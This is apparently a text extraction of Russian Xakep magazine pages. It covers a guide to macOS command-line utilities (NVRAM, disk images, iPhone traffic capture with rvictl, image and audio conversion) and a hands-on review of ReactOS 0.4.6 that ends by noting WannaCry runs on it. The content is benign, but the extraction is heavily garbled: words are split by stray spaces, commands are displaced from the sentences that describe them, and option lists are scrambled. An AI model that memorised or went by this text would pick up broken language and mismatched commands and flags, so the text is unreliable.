dscacheutil ‐q user

В отли чие от того, что выда ет dscl, резуль тат вос при нимать нам ного лег че.

Чи таем и (не) сбра сыва ем зна чения в NVRAM
У  каж дого  «мака»  есть  энер гонеза виси мая  память,  в  которой  хра нят ся  важ‐ 
ные  для  работы  компь юте ра  перемен ные.  Что  имен но  там  лежит?  Узнать
поможет  коман да  :  напиши  ,  и  все  уви дишь.  Здесь  есть
как безобид ные вещи вро де уров ня зву ка и пос ледней рас клад ки кла виату ры,
так  и  более  инте рес ные  вро де  клю ча  Find  My  Mac  и  сов сем  уж  загадоч‐ 
ные парамет ры EFI. Все они пред став лены в дво ичном виде, и единс твен ный
обры вок опи сания, который мне уда лось най ти, содер жится в утек шем и 

 докумен те ЦРУ.

nvram nvram  ‐xp

вы‐ 
ложен ном на WikiLeaks

Па рамет ры  мож но  задавать  коман дой  ,
уда лять  коман дой    или  заг ружать  из  фай ла
при  помощи  .  Сбро сить  все  мож но,  наб рав  .
Но обыч но парамет ры NVRAM сбра сыва ют, толь ко если что‐то пош ло не так
и компь ютер не заг ружа ется. Для это го нуж но нажать Alt‐Cmd‐P‐R сра зу пос‐ 
ле вклю чения и дер жать 20 секунд.

nvram  <переменная>=<значение>

nvram  ‐d  <переменная>

nvram  ‐f  <файл> nvram  ‐c

Об рати  вни мание:  если  меня ешь  парамет ры  ути литой  nvram,  то  они
запишут ся  в  энер гонеза виси мую  память  не  момен таль но,  а  лишь  при  вык‐ 
лючении компь юте ра в штат ном режиме.

Изу чаем ста тис тику опе ратив ной памяти
Су щес тву ет мас са  спо собов  пос мотреть,  нас коль ко  заг ружена  опе ратив ная
память. Пожалуй, самый прос той — это открыть раз дел «Память» в «Монито‐ 
рин ге  сис темы»:  там  в  наг лядном  виде  пред став лены  самые  полез ные
парамет ры. Из коман дной стро ки луч ше все го исполь зовать  .top

Ес ли же  тебе  нуж на  самая  под робная  информа ция,  то  ты можешь обра‐ 
тить ся  к  .  Недос таток  этой  ути литы —  в  том,  что  все  зна чения  при‐ 
водят ся в стра ницах, рав ных 4 Кбайт. Одна ко перес читать не так слож но, и в
интерне те  есть мас са  скрип тов — нап ример, 
перес читыва ет все в мегабай ты.

vm_stat

вот  этот  однос троч ник  на Perl

Еще  с  помощью  vm_stat  мож но  отсле живать  изме нение  заг рузки  памяти
со вре менем. Для это го пиши

vm_stat ‐c <число> <секунды>

Пер вый  параметр  —  это  количес тво  замеров,  вто рой  —  интервал  меж ду
ними.

Сбра сыва ем дис ковый кеш в памяти
Вре мен но  получить  пару  лиш них  гигабай тов  опе ратив ной  памяти  помога ет
коман да  .  Она  вызыва ется  от  рута,  не  име ет  никаких  парамет ров
и обну ляет дис ковый кеш, при водя его в то сос тояние, в котором он был пос‐ 
ле  заг рузки  ОС.  Но  обыч но  менед жеру  памяти  такая  помощь  не  тре бует‐ 
ся  —  он  сам  пос тепен но  выг рузит  лиш нее,  если  опе ратив ка  будет  закан‐ 
чивать ся. В справ ке говорит ся, что purge вооб ще нужен в основном для тес‐ 
тирова ния, но кто зна ет, как повер нется жизнь?

purge

От сле жива ем обра щения к фай ловой сис теме, что бы выявить
проб лемы
Ко ман да  ,  запущен ная  без  парамет ров  от  рута,  выводит  запись
о  каж дом  обра щении  к  фай ловой  сис теме.  Нуж но  это  в  тех  слу чаях,  ког да
какая‐то  прог рамма  пада ет  при  запус ке  или  выда ет  загадоч ные  сооб щения
об ошиб ках. Если проб лема в том, что один из фай лов пов режден, то ты смо‐ 
жешь отыс кать его с fs_usage.

fs_usage

Что бы  приш лось  мень ше  рыть ся  в  выдаче,  огра ничь  сооб щения  одним
про цес сом,  написав  его  наз вание  пос ле  .  Если  зна ешь  толь ко  ID,
пиши

fs_usage

sudo fs_usage pid <PID>

Дру гой  полез ный  параметр  —  это  ,  пос ле  него  мож но  задать  филь тр
по  опе раци ям  с  сетью  ( ),  с  фай лами  (   добавит
колон ку с путем) и так далее. Если текст не вле зает в стро ку, добавь  .

‐f

‐f  network ‐f  pathname

‐w

Под робнос ти  можешь  пос мотреть,  нап ример, 
или  .

в  статье  The  Mac  Observer
в бло ге mohit.io
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Со вер шаем откры тия
На  пер вый  взгляд  коман да    очень  прос та  —  это  прак тичес ки  пол ный
ана лог  двой ного  кли ка  в  гра фичес ком  интерфей се.  Если  скор мить  ей файл
.app, она запус тит прог рамму, если любой дру гой — то откро ет в ассо цииро‐ 
ван ной с фор матом прог рамме. При желании мож но добавить параметр 
и ука зать, в каком имен но при ложе нии откры вать, а   при нуди тель но откро ет
файл в TextEdit (даже если он бинар ный).

open

‐a
‐e

Но глав ный кайф open в дру гом. В прош лой статье я  , как нас‐ 
тро ить  себе  удоб ный  спо соб быс тро  перей ти  из  Finder  в  ту же  пап ку  в  тер‐ 
минале.  Так  вот,  коман да  open  —  это  отличный  спо соб  переме щать ся
в обратном нап равле нии. Если в качес тве аргу мен та open получа ет каталог,
тот  откро ется  в  Finder.  Соот ветс твен но,    откры вает  текущую  пап ку.
А еще мож но ука зать «Фай нде ру» на опре делен ный файл, если написать 

 (R — от сло ва reveal).

рас ска зывал

open  .
open

‐R <файл>

Ра бота ем с раз делами дис ка
В  пап ке  с  ути лита ми  на  каж дом  «маке»  есть  мегапо лез ная  прог рамма  Disk
Utility,  которая  поз воля ет  управлять  раз делами  жес тких  дис ков,  фор матиро‐ 
вать  их,  вруч ную  мон тировать  смен ные  носите ли,  соз давать  обра зы  и  так
далее. Ее вари ант для коман дной стро ки называ ется  .diskutil

Пос коль ку фун кций мно го, спи сок команд тоже немалень кий. К при меру ты
можешь написать

diskutil list

Эта  коман да  в  отли чие  от  df  выводит  спи сок  физичес ких  дис ков,  а  не  раз‐ 
делов. Или можешь зап росить под робную информа цию о дис ке:

diskutil info <идентификатор диска>

Ну или, нап ример, вруч ную демон тировать диск:

diskutil unmountDisk <идентификатор>

При гож дает ся  все  это,  к  при меру,  ког да  готовишь  заг рузоч ную  SD‐кар ту
для  Raspberry  Pi  (   есть  на  сай те  raspberrypi.org).
А еще мно гие проб лемы с «маком» реша ются авто мати чес кой почин кой прав
на фай лы —  .

под робное  руководс тво

diskutil repairPermissions /
  о  diskutil  с  кучей  при меров  команд  есть  на  сай те

The Instructional.
Неп лохая  статья

Соз даем и мон тиру ем обра зы дис ков, пишем CD и DVD
За работу с обра зами дис ков отве чает дру гая коман да —  . Что бы при‐ 
мон тировать образ, пиши

hdiutil

hdiutil attach <файл.dmg>

Точ но так же мон тиру ется .iso. А что бы демон тировать:

hdiutil detach /dev/disk<номер>

Этой же  ути литой можешь прев ратить  каталог  в  образ  дис ка.  Коман да  сле‐ 
дующая:

hdiutil create ‐volname "<Метка тома>" ‐srcfolder <путь к папке> ‐ov 
<файл.dmg>

Что бы  соз дать  зашиф рован ный  образ,  добавь  парамет ры 
. Про жечь образ на бол ванку тоже лег че лег кого: 

. Вос ста новить содер жимое дис ка из обра за мож но коман‐ 
дой  :

‐encryption  ‐
stdinpass hdiutil burn <
файл с образом>

asr

sudo asr ‐restore ‐noverify ‐source <файл.dmg> ‐target /Volumes/<диск
>

Ес ли в наз вании фай ла есть про белы, боль шинс‐ 

тво ути лит пот ребу ют зак лючить наз вание в двой‐ 

ные кавыч ки. Это к тому же про ще, чем экра ниро‐ 

вать про белы.

Ищем фай лы и смот рим метадан ные
Ес ли  ты  по  ста рой  линук совой  при выч ке  уже  набирал  в  маков ской  кон соли
коман ду  locate,  то стал кивал ся с  тем,  что она не работа ет. Вмес то это го ее
сер вис пред лага ют сна чала запус тить через launchd. Делать это го не нуж но,
потому что на «маке» есть нам ного луч ший спо соб искать фай лы — это ути‐ 
лита  , которая ищет по базе дан ных Spotlight.mdfind

Сра зу нашел архи вы на внеш нем дис ке :)

Поль зовать ся mdfind не слож нее, чем написать

mdfind <строка для поиска>

Об рати вни мание на то, что поиск ведет ся не толь ко в наз вании фай лов, но и
внут ри  докумен тов,  и  в  метадан ных.  Кста ти,  для  прос мотра  метадан ных
из коман дной стро ки есть ути лита   — прос то набери пос ле нее наз вание
фай ла, и все уви дишь.

mdls

У mdfind, как ты мог догадать ся, есть полез ные парамет ры. Так,   запус‐ 
тит  эту  ути литу  в  пос тоян ном  режиме  и  будет  выводить  наход ки  по мере  их
появ ления,   огра ничит область поис ка одним катало гом,
а    зас тавит  mdfind  искать  стро ку  толь ко  в  наз вани ях  фай лов
и ниг де боль ше.

‐live

‐onlyin <каталог>
‐name  <файл>

Пе рех ватыва ем тра фик айфо нов
В macOS  вхо дит  неболь шая,  но  полез ная  ути лит ка  ,  которая  помога ет
зах ватывать тра фик мобиль ных устрой ств с iOS. Под клю чай айфон или айпад
к компь юте ру, копируй его UDID из iTunes и пиши:

rvictl

rvictl ‐s <UDID>

В сис теме появит ся новый сетевой интерфейс   — можешь начинать зах‐ 
ватывать тра фик с него коман дой

rvi0

sudo tcpdump ‐i rvi0 ‐w <файл.pcap>

Ког да закон чишь, пиши:

rvictl ‐x <UDID>

Это коман да отклю чения устрой ства. А .pcap можешь открыть в том же Wire‐
shark. Под робнее об этой опе рации можешь почитать в  .бло ге Кей Гар рисона

Кон верти руем текст
Кон верти ровать  тек сто вые фай лы из одно го фор мата в дру гой на «маке» —
одно удо воль ствие бла года ря ути лите  . Пишешьtextutil

textutil ‐convert txt <файл.docx>

И  на  выходе  получа ется  файл  Word.  Вмес то  DOCX  может  быть  DOC,  RTF,
HTML, ODT или WebArchive (веб‐стра ница в фор мате Safari).

Точ но  так  же  мож но  кон верти ровать  в  любом  нап равле нии,  меняя
параметр  и  рас ширение  фай ла  на  выходе. Фор матиро вание,  увы,  не  будет
сох ранено. Зато мож но мас сово скон верти ровать фай лы, задав вмес то наз‐ 
вания мас ку:

textutil ‐convert txt ~/Desktop/*.docx

Вос про изво дим и кон верти руем аудио
Для работы с  аудио в macOS есть  три  ути литы:  ,    и  .
Пер вые  две  край не  прос ты  в  исполь зовании:    запус тит  вос‐ 
про изве дение,    выдаст  под робную  информа цию  о  кодеке,
дли не и парамет рах кодиро вания.

afplay afinfo afconvert

afplay  <файл>
afinfo  <файл>

А  вот  afconvert  —  это  менее  оче вид ная  в  осво ении  шту ка  (впро чем,
кросс‐плат формен ные   и   тоже не балу ют прос тотой). Увы, afcon‐
vert не может соз давать MP3, что дела ет его при мене ние доволь но узким.

SoX FFmpeg

Мож но, нап ример, прев ратить MP3 в рин гтон для айфо на:

afconvert <файл.mp3> <файл.m4r> ‐f m4af

Или, наобо рот, рас кодиро вать MP4 в WAV:

afconvert <файл.m4a> ‐f 'WAVE' ‐d 'ulaw' ‐c 1

Но если ты ищешь ути литу для дол гого и пло дот ворно го исполь зования, то я
рекомен дую ска чать  . Вызов из коман дной стро ки она, кста ти, тоже под‐ 
держи вает.

XLD

Ра бота ем с изоб ражени ями
Ес ли от пог ружения в деб ри парамет ров afconvert я тебя попытал ся осто рож‐ 
но  отго ворить,  то  за  то,  что бы  поп робовать  маков ский  кон вертер  гра фики

,  наобо рот,  жар ко  аги тирую.  Воз вра щать ся  к  ImageMagick  пос ле  зна‐ 
комс тва с ним вряд ли захочет ся.
sips

Что бы переко диро вать файл из одно го фор мата в дру гой, напиши

sips ‐s format <формат> <входной файл> ‐‐out <выходной файл>

Для  JPEG мож но  пос ле фор мата  задать  уро вень  сжа тия: 
.  Сре ди  под держи ваемых  фор матов  есть  JPEG,  TIFF,  PNG,  GIF,

BMP, PSD и некото рые более экзо тичес кие.

formatOptions  <
проценты>

По мимо  это го,  с  кар тинкой  мож но  делать  раз ные  пре обра зова ния.  Вот
спи сок наибо лее полез ных парамет ров, которые мож но добавить к коман де:

 — обре зать;• ­с <ширина> <высота>
 — отра зить;• ­f <horizontal или vertical>

 — повер нуть;• ­r <градусы>
 — изме нить раз меры;• ­z <ширина> <высота>

 —  самый  полез ный  параметр,  который  про пор циональ но
сжи мает или рас тягива ет кар тинку в зависи мос ти от задан ной ширины.

• ­Z <ширина>

Ес ли  нуж но  скон верти ровать  сра зу  мно го  кар тинок,  то  тебе  при годит ся  вот
такой скрип тик на bash:

for i in *.png; do sips ‐s format jpeg ‐s formatOptions 97 "${i}" ‐‐
out "${i%png}jpg"; done

Здесь PNG из текуще го катало га сжи мают ся в JPEG с качес твом 97%.

Ко пиру ем катало ги по‑маков ски и поль зуем ся архи вато ром
Каж дый, кто имел дело с ник совой коман дной стро кой, зна ет, что для копиро‐ 
вания  нуж но  писать  ,  а  копиро вать  катало ги  мож но  при  помощи  .
Одна ко в macOS, помимо это го, есть своя коман да копиро вания катало гов —

. Отли чает ся она  тем,  что перехо дит по сим линкам,  копиру ет метадан‐ 
ные и пра ва, соз дает целевую пап ку, если та не сущес тву ет, а если сущес тву‐ 
ет, то объ еди няет содер жимое.

cp cp  ‐r

ditto

Поль зовать ся ditto не слож нее, чем cp: дос таточ но наб рать

ditto <откуда> <куда>

Мо жешь добавить  параметр  ,  если  не  хочешь,  что бы метадан‐ 
ные были ско пиро ваны.

‐V ‐‐norsrc

Вто рое  при мене ние  ditto  —  это  работа  с  архи вами  PKZip.  Что бы  сжать
содер жимое катало га, пиши

ditto ‐ck ‐‐rsrc ‐‐sequesterRsrc <путь> <файл.zip>
При этом будет соз дан архив с фай лами, находя щими ся внут ри катало га,

а сам он в архив не пой дет.
Для  того  что бы  разар хивиро вать,  надо  написать 

. Фай лы будут помеще ны в ука зан ную пап ку, а если ее не сущес тву‐ 
ет,  то  ditto  соз даст  ее.  Если  хочешь  рас паковать  на  мес те,  напиши  вмес то
это го точ ку (ука затель на текущий каталог).

ditto  ‐xk  <файл>  <
каталог>

Ис поль зуем син тезатор речи
Ко ман да    —  это  обыч но  одна  из  пер вых  вещей,  которую  показы вают
нович кам.  Ну  не  кру то  ли,  что  на  любом  «маке»  мож но  открыть  тер минал,
написать   и услы шать, как компь ютер вслух поп риветс тву‐ 
ет мир? Кру то, но ред ко кто зна ет о   боль ше.

say

say Hello, World!
say

Во‐пер вых, у say есть нес коль ко инте рес ных парамет ров. Мож но зачитать
содер жимое  тек сто вого  фай ла  ( ),  задать  голос  ( ),
ско рость  ( ),  перенап равить  вывод  в  зву‐ 
ковой  файл  ( ),  вклю чить  инди катор  прог ресса  ( )
или отоб ражать текст и под све чивать сло ва по ходу чте ния ( ).

‐f  <файл> ‐v  название
‐r  <количество  слов  в  минуту>

‐o  <файл> ‐‐progress
‐i

Во‐вто рых,  say —  это  доволь но  серь езный  син тезатор  речи  с  раз весис той
сис темой команд. Их впи сыва ют пря мо в текст в двой ных квад ратных скоб ках.
С аза ми ты можешь озна комить ся, про читав  ,
а   есть в офи циаль ной справ ке.

пост в бло ге Unfinished Bitness
пол ный спи сок команд

Де лаем скрин шоты
Де лать  скрин шоты  на  «маке»  лег ко  и  прос то:  дос таточ но  нажать Cmd‐Shift‐
3  или Cmd‐Shift‐4  и  выделить  область  (или  выб рать  окно  про белом).  То  же
самое мож но сде лать и из коман дной стро ки коман дой  . Вот
некото рые полез ные парамет ры:

screencapture

 зада ет фор мат (по умол чанию PNG);• ­t <формат>
 вык люча ет звук;• ­x
 отпра вит скрин шот в буфер обме на;• ­c
 инте рак тивный режим (ана лог Cmd‐Shift‐4);• ­i
 сра зу откро ет Mail и соз даст пись мо со скрин шотом;• ­M
 отклю чает тень;• ­o
 вклю чает кур сор;• ­C

 зада ет задер жку перед сня тием скрин шота;• ­T <секунды>
 дела ет скрин шот тач бара на новых MacBook Pro.• ­b

Ес ли не исполь зуешь параметр  , то пос ле   нуж но добавить
наз вание фай ла, в который будет записан скрин шот.

‐с screencapture

Кста ти, мне попада лась забав ная прог рам мка, которая записы вает серию
скрин шотов в ани миро ван ный GIF, она называ ется  .LICEcap

ОДНОЙ СТРОКОЙ
 — две полез ней шие коман ды: пер вая переки дыва ет

ввод в буфер обме на, вто рая дос тает отту да вывод. Нап ример, 
 ско пиру ет спи сок фай лов в текущем катало ге.

• pbcopy и pbpaste

ls ­l |
pbcopy

  выводит  вер сию  и  билд  опе раци онной  сис темы  (и  то  и  дру гое
есть и в выдаче system_profiler).

• sw_vers

 выпол няет скрипт на AppleScript или JavaScript (с парамет ром 
). С парамет ром   запус тит REPL.

• osascript ­
l JavaScript ­i

  уста нав лива ет  прог раммы.  Нап ример,  можешь  написать 
.

• installer in­
staller ­pkg <файл.pkg> ­target /

  ста вит  обновле ния  сис темы  и  соф та  из  App  Store,  их
спи сок мож но получить с клю чом  .

• softwareupdate

­l
 кон верти рует фай лы plist меж ду XML, JSON и дво ичным фор матом.• plutil

•Awesome Command Line Apps

Вну шитель ная  под борка  при меров  работы

с  раз ными  ути лита ми  коман дной  стро ки

macOS.

•OS X Command Line Utilities

Еще  одна  кон куриру ющая  под борка,  более

скром ная.

•Quickies for Unix

Трю ки с коман дами Unix, в том чис ле macOS.

•A  Sysadmin’s  Unixersal  Translator  (Unix  Rosetta

Stone)

Таб лица соот ветс твия команд в раз ных вер сиях

Unix.

•Darling

Слой  сов мести мос ти  с  macOS  для  Linux  (ути‐ 

литы в него не вхо дят).

•Про качай  тер минал!  Полез ные  трю ки,  которые

сде лают тебя гуру кон соли

На ша  недав няя  статья  о  трю ках  с  коман дной

стро кой Linux. Для маково дов тоже по боль шей

час ти годит ся.

•По коря ем  тер минал.  Как  магия  кон соли  поз‐ 

воля ет сде лать data engineering про ще

Раз бира ем  ник совые  коман ды  с  точ ки  зре ния

работы с боль шими дан ными.

https://xakep.ru/2017/10/24/macos-tuning/#toc05.3
https://www.raspberrypi.org/documentation/installation/installing-images/mac.md
http://www.theinstructional.com/guides/disk-management-from-the-command-line-part-1
https://useyourloaf.com/blog/remote-packet-capture-for-ios-devices/
http://sox.sourceforge.net/
https://www.ffmpeg.org/
http://tmkk.undo.jp/xld/index_e.html
https://unfinishedbitness.info/2015/02/10/taming-talk-on-os-x/
https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/SpeechSynthesisProgrammingGuide/FineTuning/FineTuning.html
https://www.cockos.com/licecap/
https://github.com/herrbischoff/awesome-osx-command-line
http://www.chipwreck.de/blog/2010/05/06/os-x-command-line-utilities/
http://borkware.com/quickies/one?topic=Unix
http://bhami.com/rosetta.html
https://www.darlinghq.org/introduction/
https://xakep.ru/2017/05/18/cli-console-tips/
https://xakep.ru/2016/05/17/console-magic/
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Се год ня  в  нашей  кунс тка мере  демонс три рует ся  необы чай‐ 

ный  орга низм  —  двад цатилет ний  зародыш  опе раци онки,

который учит ся делать пер вые шаги. Пока у него получа ется

толь ко  сто ять  и  осто рож но  шевелить ся,  но  он  уже  про бует

общать ся  с  внеш ним  миром.  С  виду  он  похож  на  Windows

Server 2003, прос то пока уме ет не так мно го. Зна комь ся: Re‐

actOS v. 0.4.6, глу бокая аль фа‐вер сия.

СТОЯТЬ НЕЛЬЗЯ ПАДАТЬ!
На вер няка ты мно гое слы шал об этой опен сор сной раз работ ке. Все‐таки ее

дела ют с девянос тых годов и активно пиарят, осо бен но в пос леднее вре мя.

Док лады про нее мож но было услы шать на Google Summer of Code, немец ких

хакато нах  и  рос сий ских  пре зен таци ях  пра витель ствен ного  уров ня.  ReactOS

соз дает ся  по  лицен зиям  GPL/BSD/X11  и  дос тупна  на  раз ных  язы ках,  сре ди

которых есть рус ский.

Про ект  ReactOS  удач но  впи сал ся  в  оте чес твен ную  прог рамму  импорто‐ 

заме щения.  1  апре ля  2015  года  Мин ком свя зи  Рос сии  при суди ло  заяв ке

«Соз дание опе раци онной сис темы с откры тым исходным кодом на базе Re‐

actOS  для  ПК,  ноут буков  и  дру гих  мобиль ных  устрой ств» 

в номина ции «Кли ент ские и сер верные опе раци онные сис темы». Почему же

мы до сих пор не переш ли поголов но на этот сво бод ный ана лог Windows?

вто рое  мес то

Для отве та на этот воп рос мы про вели собс твен ное  тес тирова ние Reac‐

tOS.  Поп робова ли  пос тавить  ее  на  два  ноут бука:  очень  и  не  очень  ста рый.

С ходу не получи лось… да и потом — тоже. В обо их слу чаях инстал лятор глю‐ 

чил  уже  в  самом  начале,  и  мы  созер цали  чер ный  (точ нее,  тем но‐серый)

экран.  При  этом  на  тех  же  ноут буках  в  свое  вре мя  без  проб лем  уста нав‐ 

ливались самые раз ные опе раци онки, вклю чая FreeDOS, Windows XP/7, Knop‐

pix и Kali Linux. Заг рузка с DVD‐R и флеш ки работа ет на них без проб лем —

там олд скуль ный BIOS (не UEFI).

На вер няка и ReactOS уда лось бы как‐то уста новить на наши бывалые лэп‐ 

топы,  но  шаман ский  бубен  вско ре  лоп нул,  как  и  наше  тер пение.  Рядовой

поль зователь точ но не ста нет мучить ся так дол го.

На  YouTube  ты  можешь  най ти  ролики  с  демонс тра цией  запус ка  ReactOS

на  отно ситель но  новых  ноут буках  Dell.  Одна ко  сама  идея  записать  такое

видео уже говорит о нет риви аль нос ти задачи. Если автор сни мает ролик, зна‐ 

чит, это му пред шес тво вал напилинг и риту аль ные пляс ки. «Из короб ки» Reac‐

tOS мало на что ста вит ся, да и нет  у нее никакой короб ки — толь ко ноч ные

сбор ки на сай те про екта.

По это му даль нейшие тес ты про води лись в вир туал ке. Имен но так годами

запус кает  ReactOS  боль шинс тво  ее  пок лонни ков:  сво бод ный  клон  Windows

работа ет в нес вобод ной нас тоящей «Вин де».

ReactOS под держи вает рус ский язык

За явле но, что ReactOS под держи вает мно жес тво фай ловых сис тем. Ext2/3/4,

Btrfs,  ReiserFS,  UFS,  NTFS.  Казалось  бы,  выбор  огромный!  На  прак тике  же

сис темный раз дел может быть отформа тиро ван толь ко в FAT, и это еще цве‐ 

точ ки!

Толь ко FAT!

А ягод ки в  том,  что ReactOS не име ет средств для про вер ки и исправ ления

логичес ких оши бок в фай ловой сис теме. Короче, нет в нем чек диска. Поэто му

пофик сить FAT прос то нечем.

Кноп ка есть, а прог раммы нет

По это му меню ава рий ного вос ста нов ления, по сути, ока зыва ется бес полез‐ 

ным. Что дебаг, что EMS — при сле тев шей ReactOS ты прос то уви дишь синий

или чер ный экран — как повезет. Нам повез ло уже через пол часа.

ПЕРЕЗАГРУЗКА РЕАКТОРА

Ава рий ное вос ста нов ление реак тора

Дру гая  серь езная  проб лема  ReactOS  —  менед жер  памяти.  Его  пос тоян но

про бива ет на нос таль гию. Он пыта ется обра тить ся по адре сам из ста рой таб‐ 

лицы  и  навева ет  вос помина ния  о  ран нем  зна комс тве  с  XP.  Пом нишь  бес‐ 

конеч но сып лющи еся сооб щения «The memory could not be  „read“»? В Reac‐

tOS они появ ляют ся регуляр но, как и все воз можные software exception.

Ошиб ки управле ния памятью

В ито ге пос ле оче ред ной ошиб ки сис тема зависа ет наг лухо, а при перезаг‐ 

рузке ста новит ся синей, как утоп ленник.

Бе лый, синий… не хва тает крас ного!

Единс твен ный спо соб сно ва под нять ReactOS — это вос ста новить пре дыду‐ 

щее сос тояние из обра за. Бла го VirtualBox быс тро дела ет снап шоты.

Сле дующая проб лема (если ты суме ешь до нее дой ти) — это драй веры.

Обо рудо вание уста новить, не?

Черт бы с ней, со зву кову хой! Без веб‐камеры, тач пада и рас ширен ных фун‐ 

кций  кла виату ры  тоже  мож но  обой тись.  Интернет‐то  где?  Нам  приш лось

переп робовать раз ные сетевые адап теры (реаль ные и эму лиру емые), преж де

чем  ReactOS  смог ла  зарабо тать  хоть  с  каким‐то.  Им  ока зал ся  древ ней ший

адап тер на 10 Мбит/с.

10 Мбит/с хва тит всем!

Бес про вод ные модули ReactOS не видела в упор. Ког да мы под клю чали диск

с драй верами, на нем были все пун кты, кро ме «уста новить». Он прос то исче‐ 

зал из меню, так как мас тер уста нов ки не мог выпол нить про вер ку соот ветс‐ 

твия  ОС.  Да,  есть  прок тологи чес кие  спо собы  сде лать  это.  Выд рать  фай лы

драй веров, руками рас пихать их в нуж ные катало ги… даже реестр мож но пра‐ 

вить руками. Вот толь ко для чего тог да еще в прош лом веке соз давали plug‐

n‐play?

Од но из любимых раз вле чений пок лонни ков ReactOS — «мат решки», или вло‐ 

жен ная  вир туали зация.  Очень  популяр на    Windows  7  SP1  —

VirtualBox — ReactOS — DOSBox — Windows 3.11. Прав да, непонят но, зачем

здесь ReactOS. Цепоч ку мож но сок ратить.

связ ка

Дру гой поль зователь демонс три рует работу при ложе ний для ста рой mac‐

OS, запущен ной в ReactOS через эму лятор Mini vMac. Это забав но, хоть и не

име ет прак тичес кой цен ности. Напоми нает фильм Inception и вло жен ные сно‐ 

виде ния.

Продолжение статьи →
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СОФТ И ИГРЫ
Ес ли ты каким‐то чудом уста новил ReactOS и даже драй веры для сетеву хи, то
при  под клю чении  к  интерне ту  ста нет  дос тупным  доволь но  при ятный менед‐ 
жер уста нов ки прог рамм. Начинать, впро чем, сто ит не с прог рамм, а с биб‐ 
лиотек.

ReactOS App Manager

По нача лу каталог кажет ся объ емным и удоб ным, но толь ко пока не пой мешь,
что  это  пол ный  спи сок  офи циаль но  под держи ваемых  в  ReactOS  прог рамм
и что даже не все из это го спис ка уста нав лива ется. Некото рые ссыл ки ведут
по ста рым веб‐адре сам, и заг рузка не про исхо дит.

Из вес тный вре дитель нот фаунд в реак торе

Воз можно, ты пом нишь, как   открыть сайт   в ОС
«Колиб ри».  Она  не  под держи вала  HTTPS,  и  все  наши  ста рания  были  нап‐ 
расны. ReactOS лишен таких проб лем. В нем мож но пос тавить Firefox и сер‐ 
фить веб прак тичес ки пол ноцен но.

тщет но мы пытались Xakep.ru

Ес ли в ОС мож но открыть Xakep.ru, она не так уж бес полез на

Раз работ чики и энту зиас ты ReactOS пред лага ют исполь зовать ее как замену
Windows XP на тех компь юте рах, которые слу жат печат ной машин кой. В прин‐ 
ципе,  рядовая  сек ретар ша  вряд  ли  заметит  под мену.  У  нее  и  так  веч но
не работа ет Word, зато пась янс «Косын ка» в ReactOS пор тирован удач но.

Ко сын ка!

В  менед жере  пакетов  есть  даже шаревар ная  вер сия  Diablo  II,  и  она  запус‐ 
кает ся, но луч ше бы она это го не делала. С вось мибит ной гра фикой и соф‐ 
твер ным  рен дерин гом  играть  теоре тичес ки  мож но,  как,  нап ример,  мож но
пить  сок,  пры гая  на  резин ке  вниз  головой  с  мос та,  но  прак тичес ки  —  кто
захочет это делать?

Дь яволь ские раз вле чения в ReactOS

За пус тить Diablo II мож но, играть — вряд ли

Ко неч но,  это  еще  огра ниче ние  вир туал ки.  На  реаль ном  железе  ReactOS
опоз нает виде окар ту (иног да). У нее даже есть драй веры на RIVA TNT2 и чет‐ 
вертый GeForce. Пом нишь такой?

GeForce 4 — old school hardcore!

Есть отдель ные методы «проб росить» виде окар ту в вир туал ку, но они экспе‐ 
римен таль ные  и  годят ся  боль ше  для  тес тиров щиков,  чем  для  гей меров.
Впро чем, можешь  .поп робовать

Ес ли  ReactOS  хороша  на  компь юте рах,  которые  исполь зуют ся  в  качес тве
пишущей  машин ки,  зна чит,  нуж на  хотя  бы  одна  прог рамма,  где  мож но
было бы набирать тек сты. И желатель но не «Блок нот», а пол ноцен ный тек сто‐ 
вый  про цес сор.  Мы  пооче ред но  поп робова ли  уста новить  раз ные  офис ные
пакеты, начиная с Office 97, который работа ет даже в Windows 95 и NT 4.0.

Увы, Microsoft Office 97 не уста нав лива ется, пос коль ку в ReactOS отсутс‐ 
тву ет NTVDM — вир туаль ная машина DOS для сис темы NT.

Microsoft Office 2000 не уста нав лива ется, потому что ему тре бует ся под систе‐ 
ма Windows Installer.

Microsoft  Office  2003  зависа ет  во  вре мя  уста нов ки  —  не  может  выпол нить
регис тра цию биб лиотек.

Microsoft  Office  2010  не  уста нав лива ется,  пос коль ку  в  ReactOS  отсутс тву ет
SQL Setup Enumeration APIs.

WPS Office 10  уста новил ся,  запус тился, но не смог отоб разить при ложе ния.
При  руч ном  запус ке  тек сто вый  редак тор  Writer  не  может  соз дать  новый
документ — ни пус той, ни из шаб лона. Прос то зависа ет.

В  менед жере  при ложе ний  ReactOS  ссыл ка  на  уста нов ку  LibreOffice
не  работа ет.  Приш лось  ска чать  LibreOffice  4.3  с  офи циаль ного  сай та.  Уста‐ 
новил ся! Запус кает ся очень дол го (с минуту на Core i7‐4770K). Но при наборе
тек ста  не  вид но  кур сора,  а  строч ки  налеза ют  друг  на  дру га  (кри вой  рен‐ 
деринг).

OpenOffice тоже уста новил ся, но стра дает той же болезнью.

Что ж, оста ется, кажет ся, толь ко пос тавить DOSBox и Word 5.5.

Продолжение статьи →
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(БЕЗ)ОПАСНОСТЬ РЕАКТОРА
Пок лонни ки ReactOS  час то  называ ют  ее  более  безопас ной  вари ацией Win‐
dows,  аргу мен тируя  это  откры тым  исходным  кодом  и  отсутс тви ем  вирусов.
Одна ко  откры тость  —  это  лишь  необ ходимое,  но  не  дос таточ ное  усло вие
безопас ности, а отсутс твие вирусов — вре мен ное явле ние.

Се год ня ReactOS уже содер жит более 9 мил лионов строк кода, при бав ляя
поч ти по мил лиону  в  год. Сколь ко  вре мени пот ребу ется,  что бы прос то про‐ 
читать  их,  не  говоря  уже об  ана лизе? Аудит  прос тей ших  прог рамм  (до  пяти
тысяч  строк  кода)  занима ет  месяцы  и  обхо дит ся  в  чувс тви тель ную  сум му.
Здесь же перед ауди тора ми вста нет невыпол нимая задача. Ана лиз кода зай‐ 
мет  годы  и  ока жет ся  бес полез ным,  пос коль ку  все  это  вре мя  раз работ чики
про дол жат вно сить изме нения. Ина че про ект сно ва заг лохнет.

Что каса ется вирусов, то с перемен ным успе хом вин довая мал варь запус‐ 
кает ся  в  ReactOS  уже  сей час. Мы  поп робова ли  заразить  ReactOS  раз ными
штам мами, и она ока залась доволь но вос при имчи вой. Часть инфекций и вов‐ 
се ста ла для нее смер тель ной.

WannaCry в ReactOS

WannaCry  успешно  запус кает ся  и  соз дает  вре мен ные  фай лы:  ключ  шиф‐ 
рования,  адрес  кошель ка,  инс трук ции  для  опла ты  выкупа  на  раз ных  язы ках.
